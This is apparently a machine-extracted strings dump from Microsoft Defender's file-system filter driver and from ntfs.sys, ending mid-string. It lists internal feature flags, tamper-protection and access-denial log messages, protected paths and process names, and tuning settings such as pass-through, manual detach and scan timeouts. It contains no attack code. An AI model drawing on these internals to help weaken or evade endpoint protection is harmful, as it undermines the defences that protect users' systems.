MpFC_MdEnableCoreSvcRemediation MpFC_EnableServiceRestartForSharedSigUpdates MpFC_EnableUpdateTriggerForSharedSigUpdates MpFC_Dlp_TrustContainersEaUpdateWaitTimeSeconds MpFC_Dlp_Edge_Flags MpFC_ProcessRedirectionTrustPolicy MpFC_Dlp_EtwListener_Enable MpFC_Dlp_EtwListener_Flags MpFC_Dlp_Recall_Flags MpFC_Dlp_Skip_ADS MpFC_Dlp_RmsLabelRefreshTimeMinutes MpFC_DC_AllowAadUserInteraction MpFC_DC_AllowLockedSessionsAsLastLogon MpFC_DLP_RemovableStorage_Flags MpFC_CoreSvc_DisableShutdownMonitor MpFC_Dlp_File_Rename_And_Close_Report_Flags MpFC_SCC_IsSyncInit MpFC_CoreSvcDropEventsWithEmptyAttributes MpFC_CoreSvcFlushDeviceMetricsOnOverflowRisk MpFC_CoreSvcDropEventsFromUnknownSources MpFC_EnableMdeDiag MpFC_Dlp_VPN_DefaultTimeout MpFC_Dlp_VPN_RetryCount MpFC_SCC_AcceptedSources MpFC_DC_EnableDeviceNotifications MpFC_Dlp_HangDection_Timeout MpFC_Dlp_UX_Delay MpFC_Dlp_JIT_UX_ControlFlag MpFC_Dlp_Explorer_AccessTTLInSeconds MpFC_Dlp_Chrome_Flags MpFC_Dlp_ApplicationDelegatingSupport_Enable MpFC_Dlp_AllowDeviceControlUsage MpFC_CoreSvc_Disable1DSBackoffFeature MpFC_Dlp_Explorer_BurnFolderAccessTLInSeconds MpFC_DisableNoParallelOnDemandScans MpFC_Dlp_QuarantineLastModifiedDelayInSeconds MpFC_Dlp_QuarantineItemAgeInSeconds MpFC_Dlp_PathNormalizationMode MpFC_Dlp_AnyApp_ThrottlingTimeInSeconds MpFC_SCC_FineTuningControl MpFC_DisableNoScansOnPassiveMode MpFC_Dlp_AppSourceMonitoringFlags MpFC_TpForExclusionsSCCMDelayedRefreshInSeconds MpFc_Disruption_ModularPolicyPublish MpFC_SCC_ChannelTransitionTtl MpFC_SCC_SetETWSecurityRestrictToSystem MpFC_Dlp_PrinterControlFlags MpFC_Dlp_CacheRmsLabelInfoTimeIntervalMinutes MpFC_CoreSvcSampleEventsFromNoisySenders MpFC_CoreSvcSampleEventsAboveRatePerSecond MpFC_CoreSvcSampleEventsSlidingWindowSeconds MpFC_DisableTransportCallouts MpFC_TerminateMpCmdRunForciblyOnShutdown MpFC_EnableRtpConsolidationMergeFix MpFC_Dlp_FFE_BillingSupport MpFC_Dlp_FFE_PostBilling_WaitTime MpFC_Dlp_CacheRmsLabelInfoTimeDelayMinutes MpFC_Dlp_RecallCacheFileReclassificationPeriodMinutes MpFC_Dlp_EnableNonOfficeSaveAsCache MpFC_CoreSvc_ResMon_DisableMemCheckBeforeTerminate MpFC_Dlp_CreateNewProcessDuringSetProcessExclusion MpFC_CoreSvc_ValidateDefenderUpdateStatus MpFC_Dlp_TelemetryCacheEnabled MpFC_Dlp_TelemetryCacheReportingPeriodMilliseconds MpFC_EnableRegistryAclImprovementForWin7 MpFC_DisableRbMHealthResetFix MpFC_DisableEntraHeartbeat MpFC_DisableSyncDefenderStart MpFC_CoreSvcEnableUpdateLogging MpFC_DC_AvailableOnServer MpFc_IsThreatActionSCCAware MpFC_TS_UseStrictOriginQuery MpFC_Dlp_CloudSync_ThrottlingTimeInSeconds MpFC_DisableTerminateNriWhenUnhealthy MpFC_CoreSvcDisable1dsShutdownOptimization MpFC_Dlp_DetourVerifyProtection MpFC_Dlp_SendFilterPathToSense MpFC_Dlp_FilePathLazyConversion MpFC_CoreSvcDisable1dsListenerShutdownLock MpFC_Dlp_BlockOneNotePrinter MpFC_Dlp_ActiveTabBlanketEnforcement MpFC_Dlp_Recall_ThrottlingTimeInSeconds MpFC_Dlp_OnDemandUserConfigFetchEnabled MpFC_Dlp_Reclassify_Enable MpFc_Enable_AIRuntimeService_Agent MpFC_Dlp_TelemetryCacheMaxPayloadSize MpFC_SCC_SupportedSettings MpFC_Dlp_AutoInjectionFlags MpFC_CiEndpointSecurityPolicy MpFC_CoreSvcRequireRemediationSigning MpFC_Dlp_ToastButtonFlags MpFC_Dlp_QuarantineNetworkItemAgeInSeconds MpFC_Dlp_NativeHost_ResolveHostProcess MpFC_Dlp_ActiveTabEnforcementFileAgeThresholdSeconds MpFC_Dlp_UnsavedDocumentEnforcementFlags MpFC_Dlp_ActiveTabEnforcementIgnoreBrowserDefaultFiles MpFC_Dlp_BrowserWarnBypassDurationSeconds MpFC_NisSrvShutdown MpFC_Dlp_FMB_Enable MpFC_Dlp_FMB_EAv1MaxInfoTypeElements MpFC_Dlp_FMB_EAv1MaxInfoTypeBytes MpFC_Dlp_FMB_EAv2MaxInfoTypeElements MpFC_Dlp_FMB_EAv2MaxInfoTypeBytes MpFC_Dlp_FMB_EADataStore_Flags MpFC_EnableSensorPlatform MpFC_SupportThreatActionDetectionOnly MpFC_Dlp_SaveAsCacheWindowNameChangeMaxTimeMilliseconds MpFC_Dlp_SaveAsCacheStopListeningTimerDelayMilliseconds MpFC_Dlp_FMB_Cache_Flags MpFC_Dlp_FMB_Cache_TTL MpFC_Dlp_FMB_Cache_MaxSize MpFC_Dlp_JIT_EvaluationIdGracePeriod MpFC_Kernel_Begin MpFC_Kernel_UseForUT2 MpFC_Kernel_HardenUxProcesses MpFC_Kernel_SystemIoRequestWorkOnBehalfOf MpFC_Kernel_PreventBindfltAbuse MpFC_Kernel_ParentProcessObHardeningAllow MpFC_Kernel_ReduceOfficeInjectRuleFP MPC_Kernel_CheckValidityOfProcessFilterFlagsInASR MpFc_Kernel_UseLowPrioThreadsForAsyncScans MpFc_Kernel_DisableFileDirtyLogic MpFC_Kernel_DisableDLPPort MpFC_Kernel_DlpFeatures MpFC_Kernel_EnableFolderGuardOnPostCreate MpFC_Kernel_StrictTiChildrenMatch MpFC_Kernel_PPLReduxMitigationFlags MpFc_Kernel_UseLowPriAsyncScansDevDrvOnly MpFc_Kernel_DisableOfficeInjectUevSuppression MpFc_Kernel_CopyChunkFileHintMask MpFc_Kernel_DisableScanOnCloseForNetworkFiles MpFc_Kernel_MaxAsyncWorkQueue MpFc_Kernel_DlpIgnoreSystemFolder MpFc_Kernel_DlpPassThroughMode MpFc_Kernel_L2StateCache_DefaultStreamsOnly MpFc_Kernel_L2StateCache_SupportGenericFileState MpFc_Kernel_CryptSvcPreScanFilter MpFc_Kernel_SystemPreScanFilter MpFC_Kernel_CheckValidityOfTargetFlagsInInjectionASR MpFC_Kernel_FolderHardeningOnCreate MpFC_Kernel_DisableNormalKernelApcOnScan MpFC_Kernel_End MpFC_Max PreventPagingFileAbuse [Mini-filter] MpQueryRuntimeDrivers called. bytesToCopy = %u, ntStatus = 0x%x [Mini-filter][CFA] Removed write access from file [%wZ] Pid[%u] OriginalDesiredAccess[0x%x] PreviouslyGrantedAccess[0x%x] RemainingDesiredAccess[0x%x]->[0x%x] CreateOptions[0x%x] DefaultStub ExSetTimer ExDeleteTimer ExReleasePushLockSharedEx ExReleasePushLockExclusiveEx ExAcquirePushLockExclusiveEx ExTryAcquirePushLockExclusiveEx (null) ExAllocatePool2 [Mini-filter] OpenWithoutRead notification (%d, %d, %ls) sent successfully. [Mini-filter] Copy hint telemetry notification (%ls) sent successfully. \Device\HarddiskVolume \MicrosoftMalwareProtectionControlPortWD \MicrosoftMalwareProtectionPortWD \MicrosoftMalwareProtectionVeryLowIoPortWD \MicrosoftMalwareProtectionRemoteIoPortWD \MicrosoftMalwareProtectionAsyncPortWD \MicrosoftDataLossPreventionControlPort \MicrosoftDataLossPreventionPort \MicrosoftDataLossPreventionVeryLowIoPort \MicrosoftDataLossPreventionRemoteIoPort \MicrosoftDataLossPreventionAsyncPort 328010 query DevVolume (%d) set on volume %wZ DevVolume (%d) cleared on volume %wZ \Program Files\Microsoft Monitoring Agent\Agent\Health Service State\ Unknown Volume Folder File nTrue False [Mini-filter] Denied access to file [%wZ] from process [%wZ][Pid:%u]. DynamicFsHardeningEnabled[%d]. DynamicFsHardening FsHardening [Mini-filter] Denied access to file [%wZ] from process [%wZ][Pid:%u] on Pre-Create. Reason: %ws. [Mini-filter] Denied access to file [%wZ] from process [%wZ][Pid:%u] on Post-Create. Reason: %ws. remote device external device [DLP-filter] Denied Process '%wZ' (pid = %#x) from opening file '%wZ' for write on %ws, reason: %d. [DLP-filter] Denied access to sensitive file '%wZ' for Process '%wZ' (pid = %#x), reason: %d \lsass.exe \csrss.exe \services.exe \msiexec.exe \poqexec.exe \svchost.exe \setupcl.exe \SrDelayed.exe unexclude \SystemRoot\System32 [Mini-filter] RtpTaint telemetry notification (%ls) sent successfully. [Mini-Filter] Blocked rename of %wZ as it is infected [Mini-filter] Denied rename/hardlink to file [%wZ] from process [%wZ][Pid:%u]. DynamicFsHardeningEnabled[%d]. RtlQueryRegistryValuesEx NtQuerySystemInformation PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS DEFENDER\FEATURES SenseDlpEnabled ResetToUnknownTimer MaxLocalScanTimeout MaxNetworkScanTimeout MaxProcessCreationMessageTimeout MaxCopyCacheSize MaxConsecutiveTimeoutsUntilPassThrough StartScanningAgainTimer DebugPassthroughEnabled MaxAsyncNotificationCount AsyncStarvationLimit AsyncTimeout AllowManualDetach KnownBadHashSize DirectionalScanningNonNTFS DisableQueryNameNormalize2 DisableThreadBoosting CsvFileStateCacheType RefsFileStateCacheType NtfsFileStateCacheType FolderGuardDispatchTimer FolderGuardDispatchLimit DisableTransactionCallback ForceContextLeakOnDetection AsyncScanOnClose \Registry\Machine\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management VerifyDriverLevel FsRtlQueryCachedVdl IoBoostThreadIo KeSetActualBasePriorityThread FsRtlSetKernelEaFile FsRtlQueryKernelEaFile FsRtlKernelFsControlFile SeGetCachedSigningLevel IoGetSiloParameters ZwSetCachedSigningLevel PsSetCreateThreadNotifyRoutineEx PsSetCreateProcessNotifyRoutineEx PsSetCreateProcessNotifyRoutineEx2 PsIsCurrentThreadInServerSilo IoCheckFileObjectOpenedAsCopySource IoCheckFileObjectOpenedAsCopyDestination \Parameters [Mini-filter] First scan on a volume: %ls [Mini-Filter] Force context leak on detection triggered. Driver unload from now on will hang and requires reboot!!! NTFS ReFS PassThrough HealthStatus \Services\MpHardCodedBlockHive \Services\WdFilter \Services\WinDefend \Services\WdBoot \Services\WdNisSvc \Services\WdNisDrv \Services\MdCoreSvc \Services\MDDlpSvc LoadAppInit_DLLs CmCallbackGetKeyObjectIDEx CmCallbackReleaseKeyObjectIDEx [Mini-filter] Denied registry key creation of [%wZ] triggered by process [%wZ]. [Mini-filter][TP] Denied registry creation [%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry key delete of [%wZ] triggered by process [%wZ]. [Mini-filter][TP] Denied registry delete [%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry access to [%wZ@%wZ] triggered by process [%wZ]. [Mini-filter][TP] Denied registry value change [%wZ\%wZ] triggered by process [%wZ]. Denied Ignored [Mini-filter][TPv2] %ls registry value change [%wZ\%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry keyvalue delete of [%wZ@%wZ] triggered by process [%wZ]. [Mini-filter][TP] Denied registry value delete [%wZ\%wZ] triggered by process [%wZ]. [Mini-filter][TPv2] %ls registry value delete [%wZ\%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry key rename from [%wZ] to [%wZ] triggered by process [%wZ]. [Mini-filter][TP] Denied registry key rename from [%wZ] to [%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry key replace of [%wZ] triggered by process [%wZ]. [Mini-filter][TP] Denied registry replace to [%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry key restore of [%wZ] triggered by process [%wZ]. [Mini-filter][TP] Denied registry restore [%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry key set security of [%wZ] triggered by process [%wZ]. Due to Tamper Protection, blocked set security [%wZ] triggered by process [%wZ]. [Mini-filter] Denied registry operation for key [%wZ] based on hardcode list. MonitorFlags: [0x%x] MonitorData: [0x%p] \Registry\Machine\SYSTEM\CurrentControlSet Start Available None \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender \SystemRoot\ \Device\ \??\ \FILESYSTEM\GOOGLEDRIVEFS \Device\Mup\ SHA256 ObjectLength HashDigestLength ObRegisterCallbacks ObUnRegisterCallbacks CreateHandle DuplicateHandle [Mini-filter] Denied injection into process [%wZ][Pid:%u] from process [%wZ][Pid:%u]. BLOCKED \Callback\WdProcessNotificationCallback \Callback\WdNriNotificationCallback \Windows\System32\Wow64cpu.dll [Mini-filter] Blocked transacted process creation from %wZ, parent pid: %u sync \SystemRoot\System32\csrss.exe \SystemRoot\WinSxs\ \SystemRoot\System32\spoolsv.exe \SystemRoot\splwow64.exe \SystemRoot\System32\WUDFHost.exe \SystemRoot\servicing\TrustedInstaller.exe \SystemRoot\system32\svchost.exe \SystemRoot\explorer.exe \SystemRoot\system32\smss.exe \SystemRoot\system32\smartscreen.exe \SystemRoot\System32\services.exe \SystemRoot\System32\WerFault.exe \SystemRoot\System32\WerFaultSecure.exe *\PROGRAMDATA\MICROSOFT\WINDOWS DEFENDER ADVANCED THREAT PROTECTION\PLATFORM\*\MSSENSE.EXE \DEVICE\HARDDISKVOLUME*\SYSTEM32\SECURITYHEALTH\?.?.????.?????-?\SECURITYHEALTHHOST.EXE \DEVICE\HARDDISKVOLUME*\WINDOWS\WINSXS\*\TIWORKER.EXE winword.exe excel.exe powerpnt.exe mpcmd.exe writeea.exe \Program Files\Windows Defender Advanced Threat Protection\MsSense.exe MsSense.exe MsSenseS.exe Code.exe Code - Insiders.exe AcroRd32.exe outlook.exe onenote.exe Acrobat.exe chrome.exe MicrosoftEdge.exe msedge.exe firefox.exe PrismaAccessBrowser.exe SecurityHealthHost.exe TiWorker.exe ContainerWorker.exe ms-teams.exe teams.exe msedgewebview2.exe \Windows\apppatch\drvmain.sdb \Windows\System32\config\DRIVERS.LOG1 svchost.exe -k NetworkService trusted untrusted delete exit alltrusted manifest policy SeRegisterImageVerificationCallback SeUnregisterImageVerificationCallback refresh dump trust untrust firstuntrusted async SetProcessFilterInfo [Mini-filter] Resetting all volumes to be excluded first due to inclusion setting - %wZ [Mini-filter] volume %wZ is one of the configured included volumes [Mini-filter] volume %wZ excluded from scanning due to path exclusion \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features MpCapability \SystemRoot\Temp\ \Windows\System32\comdlg32.dll \Windows\System32\windows.storage.dll \Windows\explorer.exe WinDefend://MpDlpProcessIdentifier \Callback\WddDeviceNotifcationsCallback [DLP-Filter] Denied Process '%wZ' (pid = %#x) from writing to Device '%wZ', reason: %d. [MpLogFilterData] %wZ: Excluded: %d, System: %d, DeviceCharacteristic: 0x%x, VolumePropertiesFlags: 0x%x, FileSystemAttributes: 0x%x, StreamContextsCount: %u, FilesystemType: 0x%x, DeviceType: 0x%x, StorageDeviceAttributes: 0x%I64x, CloudVolume: %d [MpLogFilterData] %u instances dumped. \ProgramData\Microsoft\Windows Defender\DLPCache\NetworkFilesMappingStubs\ \Program Files\ \Windows\System32\Drivers\Wd\ Updates \Program Files\Microsoft Defender for Endpoint\ \Program Files\Microsoft Defender for Endpoint\Platform\ \ProgramData\Microsoft\ \Program Files (x86)\Microsoft Defender for Endpoint\ \ProgramData\Microsoft\Windows Defender\Definition Updates\Updates \ProgramData\Microsoft\Windows Defender\Support \Program Files\Windows Defender \Program Files\Microsoft Defender for Endpoint \ProgramData\Microsoft\Windows Defender \Program Files (x86)\Windows Defender \Program Files (x86)\Microsoft Defender for Endpoint EtwSetInformation [Mini-filter] [PPL-Redux] Detected. Process [%wZ][Pid:%u] trying to map file[%wZ] PageProtection[0x%x] with reparse tag[0x%x]. MpReduxMitigationFlags[0x%x] SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes ExAcquirePushLockSharedEx ExAllocateTimer SymbolicLinkValue ! $I30 L$TxfSystemFile \$ChangeAttributeValue \$ChangeAttributeValue2 \$CommonCleanup \$ConvertToNonresident \$CreateNonresidentWithValue \$DeallocateRecord \$DeleteAllocationFromRecord \$Directory \$InitializeRecordAllocation \$MapAttributeValue \$NonCachedIo \$PerformHotFix \$PrepareToShrinkFileSize \$ReplaceAttribute \$ReplaceAttribute2 \$SetAllocationInfo \$SetEndOfFileInfo \$ZeroDataInCache \$StreamRename \$CachedWriteThrough \$TxNonCachedIo $Extend $I30 0123456789ABCDEF\ $DSC $UsnJrnl $Deleted *BAAD* \$Extend\$UsnJrnl \$Extend\$Quota \$Extend\$ObjId \$Extend\$Reparse \$Extend\$RmMetadata \$Extend\$RmMetadata\$Repair \$Extend\$RmMetadata\$Txf \$Extend\$RmMetadata\$TxfLog \$Extend\$RmMetadata\$TxfLog\$Tops \$Extend\$Deleted $ObjId $Repair $Reparse $Quota \$Mft \$MftMirr \$LogFile \$Volume \$AttrDef \$BitMap \$Boot \$BadClus \$Secure \$UpCase \$Extend Bytes %I64d.%0.*I64d %s %I64d %s $RmMetadata \???? $Tops $TxfLog $Txf $Secure $TXF_DATA $EFS $TXF KeyDataBlob $SRAT $INDEX_ALLOCATION $ATTRIBUTE_LIST $Corrupt $Verify %I64x%I64x%ls %x%x %x%x%x%x %x%x%x %I64x%I64x%x%x %x%x%x%x%x NTFS $SDS $SII $SDH NULL $Info EDP://EvaluationFlags EDP://EnterpriseIds EDP://PolicyFlags %wZ%s%s %016I64X Write: NonPaging, NonCached, Async Write: NonPaging, NonCached, Sync Write: NonPaging, NonCached, Async, Writethrough Write: NonPaging, NonCached, Sync, Writethrough Write: NonPaging, Cached, Async Write: NonPaging, Cached, Sync Write: NonPaging, Cached, Async, Writethrough Write: NonPaging, Cached, Sync, Writethrough Write: Paging, NonCached, Async Write: Paging, NonCached, Sync Write: Paging, NonCached, Async, Writethrough Write: Paging, NonCached, Sync, Writethrough Read: NonPaging, NonCached, Async Read: NonPaging, NonCached, Sync Read: NonPaging, Cached, Async Read: NonPaging, Cached, Sync Read: Paging, NonCached, Async Read: Paging, NonCached, Sync Bypass Read: NonPaging, NonCached, Async Bypass Read: NonPaging, NonCached, Sync Volume trim File level trim Volume flush File flush Close Cleanup Open volume for DASD Open file Create new file Allocate clusters \System Volume Information EFS*.LOG $STANDARD_INFORMATION $ATTRIBUTE_LIST $FILE_NAME $OBJECT_ID $SECURITY_DESCRIPTOR $VOLUME_NAME $VOLUME_INFORMATION $DATA $INDEX_ROOT $INDEX_ALLOCATION $BITMAP $REPARSE_POINT $EA_INFORMATION $LOGGED_UTILITY_STREAM 256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2s, 6s, 10s, 20s, 1m, 5m, 15m, 15m+ 4 KB, 64 KB, 1 MB, 16 MB, 128 MB, 1 GB, 16 GB, 128 GB, 1 TB, 16 TB, 1 EB, 1+ EB Default %I64x %x%x%x%I64x Handles opened for cached IO not supported The given filter recently attached to this volume and does not support BypassIO The FSCTL_MANAGE_BYPASS_IO operation failed The IOCTL_STORAGE_MANAGE_BYPASS_IO operation failed Dax volume not supported System file not supported Paging file not supported Sparse file not supported Compressed file not supported Encrypted file not supported Volume dismounted Volumes not supported Directories not supported ntfs.sys 0x%lx :%.*s:%wZ Mirror \Device\KsecDD $Bad $BITMAP $REPARSE_POINT $EfsBackup $Repair.log $Config SvSvc Start \Registry\Machine\System\CurrentControlSet\Control\FileSystem \Registry\Machine\System\CurrentControlSet\Policies \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock NtfsForceNonPagedPoolAllocation \Ntfs \DosDevices\Ntfs \Registry\Machine\System\CurrentControlSet\Control\MiniNT \Registry\Machine\System\CurrentControlSet\Control\UpdateOS NtfsAllowExtendedCharacterIn8dot3Name NtfsAllowExtendedCharacter8dot3Rename NtfsDisableVolsnapHints NtfsMftZoneReservation NtfsMemoryUsage NtfsQuotaNotifyRate NtfsDisableCompression NtfsEncryptPagingFileForGuardedHosts NtfsDisableEncryption NtfsEncryptPagingFile NtfsBugcheckOnCorrupt NtfsDisableDebugCodeFlags NtfsEnableDebugCodeFlags NtfsDisableLfsUpgrade NtfsDisableLfsDowngrade AllowOverAllocateOnVirtualMount NtfsEnableCorruptLogPutRecord NtfsEnableTxfDeprecatedFunctionality NtfsUsnMinuteTimer NtfsUsnTimeOutCount NtfsAllowUsnMinSize1Mb NtfsAllowTpOnNonSpacesVolumes NtfsTpSmartTrimFlags NtfsVcbEresourceBoostCpus NtfsGlobalPostLimit DisableDeleteNotification DisableDeleteNotificationDrain NtfsDisable8dot3NameCreation NtfsDisableLastAccessUpdate NtfsLastAccessUpdatePolicyVolumeSizeThreshold NtfsForceReadOnlyMount NtfsDisableFileMetadataOptimization NtfsDisableCompressionDelayedAllocation NtfsDisableCompressionLimit NtfsDisableSpotCorruptionHandling NtfsBypassSpotCorruptionHandlingOnCritical NtfsMaxFspWorkerThreadsPerVolume NtfsMinTrimTotalSize NtfsMaxTrimTotalSize NtfsTrimListLengthThreshold NtfsMaxWaitTimeForDeallocatedClustersInTrim NtfsFlushTrimRequestsOnDismount NtfsAllowMaximumSupportedHardLinks NtfsDisableTrueAsyncCachedReads NtfsFileMetadataOptimizationThreshold NtfsMaxFileMetadataOptimizationThread NtfsEnableDirectAccess NtfsEnableDirCaseSensitivity NtfsAllowQueryFreeSpaceConsiderPool AllowHardLinkWithNoAccess NtfsParallelFlushThreshold NtfsParallelFlushWorkers NtfsMinLengthForAZeroWorker NtfsParallelZeroWorkers NtfsLockSystemFilePages NtfsDisableIoPerf NtfsMaxAcceptableLatency NtfsKsrVersion NtfsMaxDelayCloseCount NtfsCachedRunsBinMaxLengthInBytes NtfsDefaultTier NtfsMaxCachedRuns NtfsInitialCachedRuns NtfsCachedRunsDelta NtfsCachedRunsLimitMode NtfsCachedRunsInsertLimit NtfsLimitPhysicalSectorSize EnforceDirectoryChangeNotificationPermissionCheck AllowDevelopmentWithoutDevLicense FileSystem )File %04d%02d%02d%02d%02d%02d%03d !%I64x%ls %x%x%I64x %x%I64x %I64x%I64x %I64x%x%x%x%I64x %x%x%x%x%I64x %x%I64x%x%I64x %I64x%I64x%I64x %I64x%x%x%ls%I64x %I64x%x%x%ls%I64x%I64x%x %I64x%ls%I64x %I64x%ls%I64x%I64x %I64x%I64x%ls%I64x %x%ls%I64x%I64x %I64x%I64x%I64x%x%x %I64x%x%x%x %I64x%x !%04d%02d%02d%02d%02d%02d%03d %d: %02x %I64x%x%x %I64x%x%wZ%I64x%I64x%x%x%x %I64x%wZ%I64x%x%I64x%I64x%x%x %x%x%I64x%I64x%x%x %I64x%wZ%wZ%x%x %x%I64x%I64x%x%x Ntfs Bucketized Performance \??\log: ::TxfLog ::KtmLog %BLF%\$TxfLogContainer %BLF%\$ $Max \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\StorageSense BootVolTotalCap BootVolFreeCap \Registry\Machine\System\CurrentControlSet\Services\NTFS\EFS\Parameters MaximumBlob EFSKCACHEPERIOD \EFSInitEvent \Registry\Machine\Software \Registry\Machine\Software\Policies\Microsoft\Windows NT\CurrentVersion\EFS EfsOptions EdpExcludedExtensions EdpExcludedPaths BitLocker is not present BitLocker is present Crypto offload vetoed SP800_108_CTR_HMAC ObjectLength SHA256 HashDigestLength ChainingModeCBC ChainingMode BlockLength XTS-AES MessageBlockLength ChainingModeECB DESX part Override flag is set Override flag is not set \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\EFS\Overrides NoCryptoOffload EDP://ExemptEnterpriseIds PEDP://IntentEnterpriseId The driver's StorageSupportedFeatures registry value is not defined The driver does not support the given StorageSupportedfeature StorageSupportedFeatures \Parameters \Registry\Machine\System\CurrentControlSet\Services\ .sys \Driver\ %lld %s %lld Locked Invalid value for Dpl State Unlocked NumLargeEventFailures SummaryCount NumBucketLimitReached NumAllocationFailures MaxEntriesFlushed MinEntriesFlushed MaxEntriesStored TotalEntriesFlushed NumFlushes TELASSERT $EFS \Registry\Machine\System\CurrentControlSet\Control\FileSystem $I30 $I30 $I30 $Efs Back $I30 $I30 $I30 $TXF $DSC _DAT _DAT $I30 $I30 $I30 $I30 $I30 $I30 $I30 $I30 $I30 $I30 NTFS WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription NT File System Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName ntfs.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename ntfs.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation A corruption was discovered in the file system structure on volume %1.%n%n%8 The file system structure on volume %2 has now been repaired. The file system structure on volume %2 cannot be corrected.%nPlease run the chkdsk utility on the volume %2. Too many repair events have occurred in a short period of time.%nTemporarily suspending posting of further repair events. Skipped posting of %1 repair events. Repair event posting will now be resumed.%n Here are the skipped posting repair events count by repair verbs:%n BadFRS: %2%n OrphanChildFRS: %3%n BadClusters: %4%n BadFreeClusters: %5%n CrossLink: %6%n SDEntry: %7%n InvalidSecurityId: %8%n IndexAttribute: %9%n IndexSubtree: %10%n IndexOffset: %11%n IndexEntry: %12%n IndexOrder: %13%n Connect: %14%n BreakCycle: %15%n FRSAllocate: %16%n Others: %17%n No-Op Force Full Chkdsk Force Proactive Scan Bad FRS Orphan Child FRS Bad Clusters Bad Free Clusters Cross-Link SD Entry Invalid Security Id Index Attribute Index Subtree Index Offset Index Entry Index Order Connect Break Cycle FRS Allocate Index Sort Index Cycle File System Driver Proactive Scanner User Application Read Only Volume Self Healed Spot Corruption Handling Disabled Spot Verifier Bypassed On Critical Spot Verifier Bypassed On Error Sent To Spot Fixer Spot Fixer Bypassed On Critical Spot Fixer Bypassed On Error Duplicate Malformed Unsupported Verified False Positive Superseded Purged Pseudo Verb Unexpected Corruption Volume Not Available Maintenance Normal Critical The exact nature of the corruption is unknown. The file system structures need to be scanned and fixed offline. The exact nature of the corruption is unknown. The file system structures need to be scanned online. The Master File Table (MFT) contains a corrupted file record. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The Master File Table (MFT) contains a child file record segment that is not reachable from its base file record segment. The file reference number is 0x%1!0I64x!. A bad cluster was discovered while accessing file data. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The extent containing the bad cluster is located at Vcn 0x%3!0I64x!, Lcn 0x%4!0I64x!. A bad cluster was discovered outside of any existing file on the volume. The bad cluster is located at Lcn 0x%1!0I64x!. Two files were found to occupy the same location on the volume. The owning file reference number is 0x%1!0I64x!. The name of the owning file is "%2!wZ!". The owning extent containing the bad cluster is located at Vcn 0x%3!0I64x!, Lcn 0x%4!0I64x!. The crossing file reference number is 0x%5!0I64x!. The name of the crossing file is "%6!wZ!". The crossing extent containing the bad cluster is located at Vcn 0x%7!0I64x!. A corruption was found in the security descriptor stream. The corrupted entry is at offset 0x%1!I64x!. A file was found to have a security ID that is not described in the security file. The invalid security ID is 0x%1!lx!. The file reference number is 0x%2!0I64x!. The name of the file is "%3!wZ!". There may be additional files on the volume that also refer to this invalid security ID. A corruption was found in a file system index structure. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The corrupted index attribute is "%3!wZ!". A corruption was found in a file system index structure. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The corrupted index attribute is "%3!wZ!". A corruption was found in a file system index structure. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The corrupted index attribute is "%3!wZ!". The corrupted index block is located at Vcn 0x%4!0I64x!, Lcn 0x%5!0I64x!. The corruption begins at offset %6!lu! within the index block. A corruption was found in a file system index structure. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The corrupted index attribute is "%3!wZ!". A file system index structure contains entries that violate ordering rules. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The corrupted index attribute is "%3!wZ!". A file on the volume is no longer reachable from its parent directory. The parent file reference number is 0x%1!0I64x!. The name of the parent directory is "%2!wZ!". The parent index attribute is "%3!wZ!". The file reference number of the file that needs to be reconnected is 0x%4!0I64x!. There may be additional files on the volume that also need to be reconnected to this parent directory. A cycle was found in the directory hierarchy on the volume, which can only be fixed by severing a parent-child relationship. The parent file reference number is 0x%1!0I64x!. The name of the parent directory is "%2!wZ!". The child file reference number is 0x%3!0I64x!. The name of the child directory is "%4!wZ!". There may be additional directories on the volume that also participate in this cycle. A cluster was found to be used by a file but not marked as used in the volume bitmap. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The unallocated cluster is located at Vcn 0x%3!0I64x!, Lcn 0x%4!0I64x!. A file system index structure contains entries that violate ordering rules. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The corrupted index attribute is "%3!wZ!". The corrupted subtree is rooted at entry number %4!lu! of the index block located at Vcn 0x%5!0I64x!. A file system index structure contains a cycle. The file reference number is 0x%1!0I64x!. The name of the file is "%2!wZ!". The corrupted index attribute is "%3!wZ!". The cycle includes %4!lu! index blocks starting at Vcn 0x%5!0I64x! and ending at Vcn 0x%6!0I64x!. $UNUSED $STANDARD_INFORMATION $ATTRIBUTE_LIST $FILE_NAME $OBJECT_ID $SECURITY_DESCRIPTOR $VOLUME_NAME $VOLUME_INFORMATION $DATA $INDEX_ROOT $INDEX_ALLOCATION $BITMAP $REPARSE_POINT $EA_INFORMATION $LOGGED_UTILITY_STREAM The file size is 0x%1!0I64x!. The maximum size for the volume is 0x%2!0I64x!. The bitmap size is 0x%1!0I64x!. The system limit is 0x%2!0I64x!. The USN journal size 